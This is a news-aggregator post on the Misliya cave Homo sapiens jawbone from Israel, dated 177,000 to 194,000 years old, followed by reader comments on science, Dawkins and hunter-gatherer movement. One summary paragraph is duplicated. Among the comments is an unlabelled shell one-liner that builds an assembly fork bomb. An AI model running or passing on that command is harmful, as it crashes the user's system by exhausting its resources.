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Scientists Discover the Oldest Human Fossils Outside Africa (npr.org)
Archaeologists in Israel have discovered the oldest fossil of a modern human outside Africa, suggesting that humans first migrated out of the content much earlier than previously believed. NPR reports: The scientists were digging in a cave called Misliya, on the slopes of Mount Carmel on the northern coast of Israel. "The cave is one of a series of prehistoric caves," says Mina Weinstein-Evron of the Zinman Institute of Archaeology at the University of Haifa, who led the team. "It's a collapsed cave, but people lived there before it collapsed." The cave had been occupied for several hundred thousand years, she says. All the archaeological evidence suggested that the ancient people who lived in the cave were hunter-gatherers. "They were hunting animals, mainly ungulates, like fallow dear, gazelle, aurochs [an extinct species of wild cattle] and other small animals," says Weinstein-Evron. "They built fireplaces throughout the length of the cave, again and again, in the same place, in the same sort of defined arrangement."
Weinstein-Evron says she and her team wanted to find out which species of ancient humans lived in the cave. So, she says, they kept digging. "And among the animal bones and flint tools we found a jawbone, an upper jawbone of an individual," she says. A detailed analysis of the jawbone and the teeth confirmed that it indeed belonged to someone of our species, Homo sapiens. And when they dated the fossil, it turned out to be between 177,000 and 194,000 years old, making it the oldest known such fossil outside the African continent.
Weinstein-Evron says she and her team wanted to find out which species of ancient humans lived in the cave. So, she says, they kept digging. "And among the animal bones and flint tools we found a jawbone, an upper jawbone of an individual," she says. A detailed analysis of the jawbone and the teeth confirmed that it indeed belonged to someone of our species, Homo sapiens. And when they dated the fossil, it turned out to be between 177,000 and 194,000 years old, making it the oldest known such fossil outside the African continent.
Welcome to the humanities and social sciences where tiny samples and 1 sigma results are OK as are massive error bars. And then the media cherry pick which results to report and which to ignore based on whether they fit the journalists' political prejudices and generate dramatic headlines. And the 'scientists' all try to produce results that will get media attention because that means more grant money.
At least we still have physics as a real science.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
In fact I remember a memorable rant by a physicist at Richard Dawkins where he said that he was bothered by Dawkins' belief that science understands everything when dark matter and dark energy make up most of the mass in the universe and we've got very little idea of what either is.
Damn right.
Except that Dawkins has never claimed that science understands everything. Science is needed precisely because we don't understand everything.
And when science doesn't understand something, that's no justification for picking an unscientific explanation. It's a call to bring more science to bear on the problem so we can understand more. A desert tribe god isn't going to explain dark matter and dark energy. Science may not today, but is working on it.
You seem to have the huge misconception that hunter-gather's simply wonder around aimlessly, wherever the path may take them. That is completely untrue, tribes had home ranges which they knew like the back of their hands. If they had to travel outside known territory, where they didn't know where water, hunting grounds, danger areas, safe places to camp were located than they would definitely not be doing 500 miles a year. Most of their time would be spent scouting, gathering resources and planning the next (short) leg of the journey